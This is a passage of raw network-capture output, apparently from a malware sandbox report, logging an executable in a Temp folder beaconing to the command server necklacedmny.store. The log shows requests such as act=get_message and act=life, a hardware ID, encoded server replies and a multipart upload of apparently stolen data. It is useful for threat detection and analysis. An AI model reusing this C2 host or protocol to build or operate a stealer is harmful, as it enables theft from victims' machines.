7b f1 69 37 d0 82 ad 63 f4 d6 Data Ascii: 5Z}~fLj`)ioI5Jw:xU)8~Wr]}8F@8O_?Y#K[E'}FGV[#q;w>7e5~9E. ;MQT?6?l$:N*)s&5ygoTFh.[M9{i7c
2024-10-31 00:19:33 UTC	15331	OUT	Data Raw: 90 d8 ab 07 6a cc 1c 5a f9 8c 27 d7 0a 41 72 22 17 c1 ea a0 b0 1e 99 cd 20 77 62 ae fa c3 ba cf 37 28 67 99 8d 63 7e 9c 7c 7e 22 0c 0b 14 e8 43 82 b1 46 b2 99 f2 c3 0a cf e9 25 58 7c 63 8e e6 9a bb 50 a2 14 ce 49 ea 18 b0 c2 92 31 73 87 1b 86 da a0 b7 b5 f7 26 1c 62 0d da 76 7a d1 ec 5a 3b c4 f6 54 74 8b c3 4e 2c 08 91 f3 cb 26 9c 4d a2 a9 ba 1a 25 db 4b 01 73 96 b2 c1 d3 6c 21 51 42 a6 ce e6 ad 93 1e e0 a2 65 66 d9 92 28 e0 3a dd ef 5d 23 8d f4 81 de 8c 4d 96 eb db 10 ea eb 54 4d 28 c3 d4 58 7f 1b bf 5c 44 2e b8 10 f4 e5 87 f0 4d a5 7d ac 9f 8f a8 a8 28 f5 03 3c 5b 68 76 fb ce 80 22 a6 4a e5 55 94 ee 2f 14 7f 41 ec 08 1e 51 f5 41 0a 46 45 46 c7 e9 88 9c d8 49 c9 70 28 1c ec 8f 1a a9 0a 00 fb 26 d8 3c 60 0f 8b fb cf e2 93 0b b8 db 39 cd 9e c8 7c c2 bf 33 Data Ascii: jZ'Ar" wb7(gc~\|~"CF%X\|cPI1s&bvzZ;TtN,&M%Ksl!QBef(:]#MTM(X\D.M}(<[hv"JU/AQAFEFIp(&<`9\|3
2024-10-31 00:19:34 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5s0jmrc1v4dm3a2iaqvaikq7j3; expires=Sun, 23-Feb-2025 18:06:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wtB131fsQqe%2FIcJgTo3Z4nzIRQFAYxvOA2xteztdrA%2FXdjaGeOMDe1YAk5b9hsoreU3wBpRCaIbcEaGCun4Vykr3q4pvBLSWraLVYqZkzc1X%2F5hmOvpHesh6H30Na6Wea20vtr4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7963e86b143d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1248&sent=232&recv=618&lost=0&retrans=0&sent_bytes=2845&recv_bytes=569761&delivery_rate=2307569&cwnd=242&unsent_bytes=0&cid=cb74e7b72a1be2b2&ts=1913&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50016	188.114.97.3	443	364	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:35 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 00:19:35 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=900B9B5C39D1F210424A4863ACD414C2
2024-10-31 00:19:36 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ku5rfrig13uda92adouapddp6v; expires=Sun, 23-Feb-2025 18:06:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X3LPE5OM%2Fa0AWuYq6J0HsR2455QYGSq4aDDB2mMXwxYnv3EpL9jTSYX4o9pSjKR5QIbfJjsLbY7TJxTsJSINMqZmk0%2Bf%2B2u2LJGLVIGMOMXxXWN2gPc44g0CMi36v7Vo%2Bw0UeoA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf79745faeeaf2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1169&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2538124&cwnd=250&unsent_bytes=0&cid=8131a83ba436fd36&ts=629&x=0"
2024-10-31 00:19:36 UTC	214	IN	Data Raw: 64 30 0d 0a 54 65 6f 50 55 68 66 45 30 63 51 62 49 55 50 52 42 36 2b 78 39 67 54 56 79 38 6b 2b 78 66 69 59 4e 56 2b 69 49 66 73 72 4d 79 38 57 6b 53 30 6e 4e 66 37 7a 72 47 39 56 4d 2b 74 62 67 4f 33 5a 4e 65 33 2b 35 77 7a 30 7a 62 59 45 62 70 45 50 79 68 31 76 41 43 4b 4d 61 51 34 34 6f 4c 53 69 4e 55 51 37 74 43 57 44 6b 35 42 77 39 2f 48 35 45 75 65 64 75 67 39 76 33 77 32 41 43 55 59 4e 64 38 68 6e 4a 6d 4f 30 36 35 67 30 66 57 7a 67 50 35 71 66 78 44 58 67 35 66 67 50 39 74 61 70 41 77 4f 4e 54 4a 4a 46 56 6e 4e 69 6d 47 34 38 63 36 75 38 36 6e 35 5a 4a 76 4d 72 6a 64 65 43 4a 75 2f 37 35 52 79 67 32 71 49 46 49 76 38 3d 0d 0a Data Ascii: d0TeoPUhfE0cQbIUPRB6+x9gTVy8k+xfiYNV+iIfsrMy8WkS0nNf7zrG9VM+tbgO3ZNe3+5wz0zbYEbpEPyh1vACKMaQ44oLSiNUQ7tCWDk5Bw9/H5Euedug9v3w2ACUYNd8hnJmO065g0fWzgP5qfxDXg5fgP9tapAwONTJJFVnNimG48c6u86n5ZJvMrjdeCJu/75Ryg2qIFIv8=
2024-10-31 00:19:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50024	188.114.97.3	443	1300	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:41 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 00:19:41 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 00:19:41 UTC	1009	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=di2h85t54406ldgavn0qoakg6r; expires=Sun, 23-Feb-2025 18:06:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c7sI1Y3vwd69PtH9mCbGVIivXrWOUeRYyrg7owXtT5vtGEedWl2nqfwd9L0%2BaWaib3mVHlMTPp0F14ecsdW5VsHgdDwi5kQ1N0xP8IKBmCeePqnhECnZB11Kb9XVPu3pWKvSMmg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf79969de5461a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1148&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2503025&cwnd=227&unsent_bytes=0&cid=c7264dad5aa5ed32&ts=914&x=0"
2024-10-31 00:19:41 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 00:19:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50032	188.114.97.3	443	1300	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:43 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 00:19:43 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 00:19:43 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9pj6s67gqlk7govgq6ka9rm9f0; expires=Sun, 23-Feb-2025 18:06:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T2No%2BvzUXwW6xa4gASGCo8koC6LItuLtLOK9dlSWGfxEp9VovKi2DEaK5T8gYqShxtmriuniJbmrXMN1v38sApqTpSIzXffpWsJbP%2BakUts0agd8fnCsEiLYLysgJwh6EbAQfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf79a4ccb60bef-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2151560&cwnd=251&unsent_bytes=0&cid=17e6dba126cb26d1&ts=465&x=0"
2024-10-31 00:19:43 UTC	358	IN	Data Raw: 31 35 33 66 0d 0a 6c 50 41 59 34 7a 76 5a 47 79 61 46 4b 48 37 45 39 42 4d 6b 50 53 38 66 36 68 76 32 34 54 2f 79 39 6a 75 61 46 66 70 58 57 6a 4c 76 30 6d 37 42 41 65 30 33 42 50 5a 4e 58 50 36 41 59 56 46 59 41 7a 32 4c 66 39 54 62 57 5a 4f 61 53 50 38 35 32 43 45 33 45 4b 36 57 65 59 39 49 76 44 63 45 34 46 42 63 2f 71 39 6f 42 6c 68 42 50 64 41 35 6b 34 74 64 6b 35 70 5a 2b 33 36 56 4a 7a 5a 52 2f 4a 78 2f 69 31 36 36 66 30 66 70 52 52 75 68 6b 58 4a 4f 55 30 5a 79 67 6e 62 55 7a 52 32 58 6a 42 6d 67 4e 37 63 79 4c 6c 50 5a 6b 57 75 49 47 61 51 33 58 61 64 4e 45 4f 62 4f 4d 55 56 59 54 58 4f 4d 66 35 32 4a 56 35 71 53 57 50 35 2f 69 6a 34 38 57 76 79 53 66 49 70 55 73 32 74 4b 34 30 49 51 70 35 74 79 42 68 45 4e 65 70 41 35 7a 4d 4d 4f 6f 70 64 49 36 Data Ascii: 153flPAY4zvZGyaFKH7E9BMkPS8f6hv24T/y9juaFfpXWjLv0m7BAe03BPZNXP6AYVFYAz2Lf9TbWZOaSP852CE3EK6WeY9IvDcE4FBc/q9oBlhBPdA5k4tdk5pZ+36VJzZR/Jx/i166f0fpRRuhkXJOU0ZygnbUzR2XjBmgN7cyLlPZkWuIGaQ3XadNEObOMUVYTXOMf52JV5qSWP5/ij48WvySfIpUs2tK40IQp5tyBhENepA5zMMOopdI6
2024-10-31 00:19:43 UTC	1369	IN	Data Raw: 37 30 45 58 6f 34 52 36 54 31 4a 41 66 59 56 7a 6d 34 42 64 6c 35 35 54 39 33 32 63 4f 44 56 57 39 70 49 36 7a 78 6d 38 59 51 53 2f 43 6a 2b 6a 68 6e 5a 4b 53 51 39 48 79 47 62 61 6d 68 32 58 6d 42 6d 67 4e 35 41 77 4f 31 50 39 6e 58 6d 4a 55 71 6c 35 56 75 46 48 47 62 53 51 64 45 68 56 54 6d 2b 43 64 35 4b 41 56 4a 75 64 58 50 39 7a 32 48 74 34 56 2b 37 53 49 73 46 34 74 6e 4a 49 37 56 30 63 35 6f 6b 2f 58 78 39 4b 63 63 67 68 31 49 64 63 6c 4a 56 64 39 6e 6d 63 4f 54 35 65 2b 35 31 38 69 31 6d 38 63 30 7a 76 53 78 47 74 6d 58 46 44 55 6b 6c 37 68 48 69 52 77 78 50 51 6b 30 47 34 4c 39 67 62 50 31 50 6b 30 45 2b 43 56 37 56 2b 55 71 64 56 55 72 2f 57 64 6b 6f 66 46 54 32 47 66 4a 75 52 58 49 4b 52 56 2b 70 37 6e 54 4d 31 55 2f 69 53 66 34 5a 55 74 58 39 Data Ascii: 70EXo4R6T1JAfYVzm4Bdl55T932cODVW9pI6zxm8YQS/Cj+jhnZKSQ9HyGbamh2XmBmgN5AwO1P9nXmJUql5VuFHGbSQdEhVTm+Cd5KAVJudXP9z2Ht4V+7SIsF4tnJI7V0c5ok/Xx9Kccgh1IdclJVd9nmcOT5e+518i1m8c0zvSxGtmXFDUkl7hHiRwxPQk0G4L9gbP1Pk0E+CV7V+UqdVUr/WdkofFT2GfJuRXIKRV+p7nTM1U/iSf4ZUtX9
2024-10-31 00:19:43 UTC	1369	IN	Data Raw: 72 2f 57 64 6b 6f 66 46 54 32 45 63 4a 53 49 56 35 53 55 58 76 56 79 6d 7a 49 37 58 66 47 59 64 49 5a 64 74 33 42 4a 34 55 6f 62 6f 70 4e 6a 51 31 5a 42 63 63 67 33 31 49 52 46 30 4d 77 5a 31 33 43 4f 4e 68 64 54 35 35 73 36 6e 68 65 69 4f 55 50 72 43 6b 54 6d 6b 58 52 4f 56 45 74 31 69 47 75 52 6a 56 61 52 6e 6c 2f 35 65 70 51 7a 4f 46 48 32 6c 48 61 42 58 72 78 72 56 75 4a 4d 44 71 7a 57 50 77 5a 59 56 54 33 51 4f 61 4b 54 53 6f 47 43 47 38 31 30 6c 6a 73 2f 52 72 61 4e 4e 4a 67 5a 76 48 55 45 76 77 6f 58 70 70 70 32 54 6c 6c 4a 64 59 64 32 6e 5a 46 63 6e 4a 70 4c 2f 33 65 52 4f 7a 64 63 2f 35 39 39 6a 46 4b 78 64 45 44 67 53 31 7a 6f 31 6e 5a 65 48 78 55 39 76 6d 6d 5a 6a 33 4f 62 6d 46 43 34 61 4e 59 73 65 46 66 36 30 69 4c 42 58 62 64 78 54 75 68 44 Data Ascii: r/WdkofFT2EcJSIV5SUXvVymzI7XfGYdIZdt3BJ4UobopNjQ1ZBccg31IRF0MwZ13CONhdT55s6nheiOUPrCkTmkXROVEt1iGuRjVaRnl/5epQzOFH2lHaBXrxrVuJMDqzWPwZYVT3QOaKTSoGCG810ljs/RraNNJgZvHUEvwoXppp2TllJdYd2nZFcnJpL/3eROzdc/599jFKxdEDgS1zo1nZeHxU9vmmZj3ObmFC4aNYseFf60iLBXbdxTuhD
2024-10-31 00:19:43 UTC	1369	IN	Data Raw: 5a 43 57 55 49 39 78 6a 6d 54 6d 78 33 49 31 48 62 66 51 74 6f 55 41 68 44 70 33 47 50 42 58 72 63 35 48 4b 64 47 48 36 71 65 66 6b 42 57 51 58 65 42 63 70 69 49 57 5a 79 64 58 50 35 32 6e 54 41 35 56 50 71 59 66 49 4a 61 74 48 5a 4c 37 77 70 53 35 70 46 70 42 67 63 4e 57 4a 39 79 6d 6f 55 64 6a 39 70 41 75 48 43 55 64 57 41 51 2b 70 74 38 68 31 79 33 65 45 4c 76 54 78 53 69 6c 33 64 41 58 45 4a 35 6a 58 69 62 68 31 47 65 6e 6c 6a 35 65 35 4d 36 4d 31 57 32 33 44 71 47 51 66 73 68 42 4e 5a 4a 43 72 47 47 66 51 5a 41 41 32 54 49 66 70 6a 44 42 64 43 56 53 2f 4a 39 6c 6a 41 33 56 66 57 64 66 59 78 66 74 33 4e 4e 37 30 77 54 72 34 52 79 53 6c 46 4b 63 34 52 33 6d 59 6c 65 6e 64 51 58 75 48 43 41 64 57 41 51 32 70 56 33 72 31 4b 33 66 67 54 34 42 41 58 6d 6b Data Ascii: ZCWUI9xjmTmx3I1HbfQtoUAhDp3GPBXrc5HKdGH6qefkBWQXeBcpiIWZydXP52nTA5VPqYfIJatHZL7wpS5pFpBgcNWJ9ymoUdj9pAuHCUdWAQ+pt8h1y3eELvTxSil3dAXEJ5jXibh1Genlj5e5M6M1W23DqGQfshBNZJCrGGfQZAA2TIfpjDBdCVS/J9ljA3VfWdfYxft3NN70wTr4RySlFKc4R3mYlendQXuHCAdWAQ2pV3r1K3fgT4BAXmk
2024-10-31 00:19:43 UTC	982	IN	Data Raw: 4e 4a 63 68 50 6b 35 4e 4e 6b 39 5a 6f 37 6e 53 4f 50 6a 56 63 74 6f 30 30 6d 42 6d 38 64 51 53 2f 43 68 71 70 6e 33 4a 4a 58 6b 52 78 68 58 79 64 68 6c 79 57 6b 46 50 79 64 35 34 7a 4f 56 58 38 6b 58 75 4c 55 4c 78 78 51 2b 52 59 58 4f 6a 57 64 6c 34 66 46 54 32 68 66 6f 61 4e 54 64 43 4c 46 2b 45 33 6e 7a 6c 34 43 4c 61 57 63 49 35 64 76 48 56 43 34 6b 77 52 70 35 6c 77 52 6c 42 4a 64 6f 46 2f 6c 59 35 59 6e 5a 42 4c 38 6e 79 58 4f 54 46 63 2b 39 49 30 77 56 36 6a 4f 52 79 6e 65 78 47 6f 6d 48 5a 51 48 31 49 7a 6b 54 6d 54 6a 78 33 49 31 46 6a 30 65 4a 73 36 4f 31 50 33 6d 47 69 54 56 62 4a 78 51 65 74 42 45 71 43 45 64 30 6c 57 54 6e 36 42 66 70 79 50 56 35 4f 54 47 62 59 33 6e 79 31 34 43 4c 61 78 62 5a 46 55 2b 32 59 4b 2f 67 6f 62 71 74 59 70 42 6c Data Ascii: NJchPk5NNk9Zo7nSOPjVcto00mBm8dQS/Chqpn3JJXkRxhXydhlyWkFPyd54zOVX8kXuLULxxQ+RYXOjWdl4fFT2hfoaNTdCLF+E3nzl4CLaWcI5dvHVC4kwRp5lwRlBJdoF/lY5YnZBL8nyXOTFc+9I0wV6jORynexGomHZQH1IzkTmTjx3I1Fj0eJs6O1P3mGiTVbJxQetBEqCEd0lWTn6BfpyPV5OTGbY3ny14CLaxbZFU+2YK/gobqtYpBl
2024-10-31 00:19:43 UTC	1369	IN	Data Raw: 32 66 32 64 0d 0a 66 53 6d 58 49 49 64 53 76 58 6f 47 65 47 39 39 74 6a 6a 49 30 51 66 32 66 64 73 46 47 39 57 41 45 34 45 5a 63 2f 74 5a 78 52 31 4a 66 65 49 6c 7a 6e 6f 35 56 6e 35 46 63 39 33 4f 63 50 6a 5a 43 2b 4a 31 36 68 31 4b 36 66 45 66 73 51 42 4b 76 68 44 45 49 48 30 70 6c 79 43 48 55 71 55 61 52 6d 56 57 36 57 5a 4d 6a 50 78 4c 58 6e 48 47 47 56 61 30 35 57 36 6c 54 58 4b 47 61 4d 52 34 66 52 48 4f 45 65 70 4f 4c 56 5a 57 55 55 76 68 34 6b 6a 73 2f 51 76 79 65 63 4a 4e 57 75 48 52 41 36 6b 41 5a 72 34 52 30 54 31 6b 4e 4d 38 68 2b 6a 4d 4d 46 30 4b 78 53 39 6b 57 62 4c 6e 68 50 75 49 73 36 68 6c 58 37 49 51 54 6b 54 52 2b 6e 6e 48 68 4b 55 45 70 35 6d 6e 4f 54 6b 56 79 52 6e 31 54 30 64 35 55 34 4d 6c 48 2f 6e 33 61 4d 58 72 78 32 51 61 63 45 Data Ascii: 2f2dfSmXIIdSvXoGeG99tjjI0Qf2fdsFG9WAE4EZc/tZxR1JfeIlzno5Vn5Fc93OcPjZC+J16h1K6fEfsQBKvhDEIH0plyCHUqUaRmVW6WZMjPxLXnHGGVa05W6lTXKGaMR4fRHOEepOLVZWUUvh4kjs/QvyecJNWuHRA6kAZr4R0T1kNM8h+jMMF0KxS9kWbLnhPuIs6hlX7IQTkTR+nnHhKUEp5mnOTkVyRn1T0d5U4MlH/n3aMXrx2QacE
2024-10-31 00:19:43 UTC	1369	IN	Data Raw: 46 4e 58 30 70 7a 6d 6e 69 63 6a 46 65 51 6b 6c 4c 79 64 4a 45 78 4e 6c 6e 77 6b 33 65 41 57 4c 74 38 52 4f 35 59 45 65 62 59 4d 55 46 48 44 53 58 49 54 70 69 49 62 4a 4f 43 47 65 63 35 67 58 55 2f 58 4c 62 4b 4f 6f 42 4c 74 6e 46 41 35 30 63 61 72 5a 64 77 52 56 39 4e 66 6f 68 38 6e 34 78 62 6c 35 6c 54 38 58 36 4b 50 54 78 43 39 70 35 2b 77 52 66 37 66 6c 79 6e 45 6c 79 57 6c 58 70 4b 58 30 42 6f 79 47 62 61 6d 68 32 58 6d 42 6d 67 4e 35 41 2b 4d 31 62 39 6b 58 6d 50 55 72 46 32 53 2b 31 4d 47 71 36 54 63 55 70 66 53 48 75 4d 66 5a 71 45 55 35 32 56 53 2f 74 2b 32 48 74 34 56 2b 37 53 49 73 46 35 73 47 39 42 34 46 78 65 6b 35 56 2f 53 46 68 62 50 5a 64 47 32 73 4e 53 69 74 51 42 77 57 37 59 4d 6a 51 51 72 74 4a 76 68 6c 6d 38 59 31 4c 67 52 67 32 74 6d Data Ascii: FNX0pzmnicjFeQklLydJExNlnwk3eAWLt8RO5YEebYMUFHDSXITpiIbJOCGec5gXU/XLbKOoBLtnFA50carZdwRV9Nfoh8n4xbl5lT8X6KPTxC9p5+wRf7flynElyWlXpKX0BoyGbamh2XmBmgN5A+M1b9kXmPUrF2S+1MGq6TcUpfSHuMfZqEU52VS/t+2Ht4V+7SIsF5sG9B4Fxek5V/SFhbPZdG2sNSitQBwW7YMjQQrtJvhlm8Y1LgRg2tm
2024-10-31 00:19:43 UTC	1369	IN	Data Raw: 56 52 4d 68 36 68 70 45 53 67 59 4a 55 36 48 44 55 50 53 6c 64 2b 74 49 30 77 52 57 2f 63 6b 6a 69 54 51 7a 70 68 47 46 4e 55 31 73 78 6a 47 76 55 7a 52 32 42 6e 31 62 71 65 5a 39 36 4b 55 62 37 67 6e 6d 45 58 76 64 78 56 65 70 47 58 4f 6a 57 5a 45 31 54 53 33 43 64 4e 6f 57 56 58 6f 61 54 46 66 42 6d 6c 54 6c 34 62 37 6a 53 59 73 45 42 2b 30 78 48 36 55 51 62 73 49 63 38 5a 6c 52 42 66 6f 52 34 6b 38 4d 54 30 4a 49 5a 6f 43 54 57 64 54 78 42 74 73 6f 71 30 77 4c 75 4b 68 4f 33 47 41 50 6f 6a 7a 46 51 48 78 55 76 78 6a 6d 47 77 77 58 51 30 31 72 71 5a 5a 34 32 4c 6c 4f 78 72 45 53 41 56 4c 51 31 53 75 78 4b 47 37 61 41 61 67 70 58 54 6d 65 53 52 36 71 6f 55 5a 61 54 51 2f 39 78 76 68 56 34 48 72 61 64 4f 74 6c 67 2b 7a 45 45 32 41 52 63 76 74 59 70 42 6d Data Ascii: VRMh6hpESgYJU6HDUPSld+tI0wRW/ckjiTQzphGFNU1sxjGvUzR2Bn1bqeZ96KUb7gnmEXvdxVepGXOjWZE1TS3CdNoWVXoaTFfBmlTl4b7jSYsEB+0xH6UQbsIc8ZlRBfoR4k8MT0JIZoCTWdTxBtsoq0wLuKhO3GAPojzFQHxUvxjmGwwXQ01rqZZ42LlOxrESAVLQ1SuxKG7aAagpXTmeSR6qoUZaTQ/9xvhV4HradOtlg+zEE2ARcvtYpBm
2024-10-31 00:19:43 UTC	1369	IN	Data Raw: 4f 63 7a 44 65 4a 32 5a 58 50 5a 77 32 68 51 79 51 50 75 64 66 63 45 58 2b 33 55 45 76 77 6f 64 72 49 5a 38 53 56 67 42 65 70 4a 2b 31 4d 30 64 6e 74 51 42 75 48 61 53 4a 54 56 66 38 64 35 38 6a 31 66 37 5a 67 72 2b 43 67 72 6d 7a 69 49 49 48 31 38 39 30 44 6e 54 6a 56 43 52 6c 31 66 37 5a 59 6f 7a 4f 30 62 31 31 55 53 2f 66 4c 5a 30 51 65 6c 4e 49 70 69 33 65 31 5a 53 51 6e 72 4b 57 5a 4f 56 58 71 36 71 62 75 6c 77 69 48 63 65 55 2b 43 52 4f 73 38 5a 6f 7a 6b 63 70 32 73 57 74 70 74 2b 51 52 31 74 65 70 35 36 31 4d 30 64 6c 4e 51 42 75 46 4b 56 4f 44 31 65 38 64 42 62 69 30 6d 32 64 6b 4f 6c 61 68 75 77 6c 54 45 49 48 30 45 39 30 44 6d 56 69 55 32 64 6d 31 36 30 63 49 49 79 65 42 36 32 6e 44 72 5a 47 62 70 7a 56 4f 70 46 47 2b 71 51 66 30 67 66 55 6a 4f Data Ascii: OczDeJ2ZXPZw2hQyQPudfcEX+3UEvwodrIZ8SVgBepJ+1M0dntQBuHaSJTVf8d58j1f7Zgr+CgrmziIIH1890DnTjVCRl1f7ZYozO0b11US/fLZ0QelNIpi3e1ZSQnrKWZOVXq6qbulwiHceU+CROs8Zozkcp2sWtpt+QR1tep561M0dlNQBuFKVOD1e8dBbi0m2dkOlahuwlTEIH0E90DmViU2dm160cIIyeB62nDrZGbpzVOpFG+qQf0gfUjO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50047	188.114.97.3	443	1300	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:50 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-31 00:19:50 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:19:50 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ol3iun6ls2i0opnbh897appq98; expires=Sun, 23-Feb-2025 18:06:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y3BXh%2B%2F%2Fus6rjmAoVJJPEzLkzCDGEByRPtg53iA6jghADOxGN%2FmYg8BP8ytHEP1vou4ZmLzq23PxDvtYv8F9Uhty1NshfykpqpGCbWv838K2NaHP9RakvHlP37UzvkWtd8C9dVU%3D"}],"group":"cf-nel","max_age":604800} NEL: 